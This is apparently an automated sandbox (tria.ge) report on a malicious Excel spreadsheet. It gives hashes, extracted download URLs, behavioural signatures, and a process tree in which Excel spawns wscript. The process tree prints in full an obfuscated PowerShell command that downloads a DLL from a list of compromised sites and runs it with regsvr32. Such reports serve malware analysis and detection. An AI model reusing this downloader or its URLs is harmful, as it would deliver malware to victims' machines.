Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
133s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20/11/2024, 22:01
Behavioral task
behavioral1
Sample
fa188ee030cebbd23ab026c88edb3835a5adef1f3c9169c6f7bfc311d6f26b94.xls
Resource
win7-20240903-en
General
-
Target
fa188ee030cebbd23ab026c88edb3835a5adef1f3c9169c6f7bfc311d6f26b94.xls
-
Size
88KB
-
MD5
c0329fd191da8ca3ea2d04569a2eeaca
-
SHA1
3e9968d0d27c654d512ddc4b8be6d06f7423ab02
-
SHA256
fa188ee030cebbd23ab026c88edb3835a5adef1f3c9169c6f7bfc311d6f26b94
-
SHA512
e9b81584ae42df58f8aa833b2b731e40cb5e2f518dcbcb598fe4e4f8805b4593927ddd6f1c8286de7add58970b979c81263b85e49911991058d5d484a0f0b570
-
SSDEEP
1536:Iyehv7q2Pjx45uoDGTj+5xtekEvi8/dg38EsAeE9jbDXQq4kWvgrPE4nWHPNc2A1:Iyehv7q2Pjx45uoDGTj+5xtekEvi8/di
Malware Config
Extracted
http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/
https://1566xueshe.com/wp-includes/z92ZVqHH8/
http://mymicrogreen.mightcode.com/Fox-C/NWssAbNOJDxhs/
http://o2omart.co.in/infructuose/m4mgt2MeU/
http://mtc.joburg.org.za/-/GBGJeFxXWlNbABv2/
http://www.ama.cu/jpr/VVP/
http://actividades.laforetlanguages.com/wp-admin/dU8Ds/
https://dwwmaster.com/wp-content/1sR2HfFxQnkWuu/
https://edu-media.cn/wp-admin/0JAE/
https://iacademygroup.cl/office/G42LJPLkl/
https://znzhou.top/mode/0Qb/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2172 4532 wscript.exe 81 -
Blocklisted process makes network request 8 IoCs
flow pid Process 26 4836 powershell.exe 37 4836 powershell.exe 41 4836 powershell.exe 50 4836 powershell.exe 59 4836 powershell.exe 61 4836 powershell.exe 70 4836 powershell.exe 74 4836 powershell.exe -
pid Process 4836 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4532 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4836 powershell.exe 4836 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4836 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 4532 wrote to memory of 2172 4532 EXCEL.EXE 85 PID 4532 wrote to memory of 2172 4532 EXCEL.EXE 85 PID 2172 wrote to memory of 4836 2172 wscript.exe 86 PID 2172 wrote to memory of 4836 2172 wscript.exe 86 PID 2172 wrote to memory of 1096 2172 wscript.exe 97 PID 2172 wrote to memory of 1096 2172 wscript.exe 97 PID 1096 wrote to memory of 2984 1096 cmd.exe 99 PID 1096 wrote to memory of 2984 1096 cmd.exe 99 PID 1096 wrote to memory of 2984 1096 cmd.exe 99
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\fa188ee030cebbd23ab026c88edb3835a5adef1f3c9169c6f7bfc311d6f26b94.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4532 -
C:\Windows\SYSTEM32\wscript.exewscript c:\programdata\bbiwjdf.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2172 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4836
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll3⤵
- Suspicious use of WriteProcessMemory
PID:1096 -
\??\c:\windows\syswow64\regsvr32.exec:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll4⤵
- System Location Discovery: System Language Discovery
PID:2984
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD5c35ffbb29d8e6aa19cc9a8d5598a4a4e
SHA1c568318ef870f55e363aa3a773d4251c1f89abde
SHA256727e4090d59f0a32e51ae3bd69d80eed384b0049c7f5a894da26fcba8f63ecfb
SHA51257a9f90563d81b5b5e0458f77b013fd03227b969fce1e158feece8521363bbed196939d63072702c27b3ee8865e3b8b0148495984ea26802ff1bfca22125f7a1
-
Filesize
1KB
MD57baad56cc483132b8b9cb7a14722c3b1
SHA1602f7933c443765697bb178ca137f17f81856f0d
SHA25631cb0d7a224f16ec4e998140c4efde8ef752295b8a88080915f0bb2b49034bee
SHA512b1429608e2068dbe868254f9c3130e8ef75932169c417d0928679c3476614df588a72722e34891a2fe80db41e5e8ee054761af2f2fc3b9c6f0e956de8c9a993f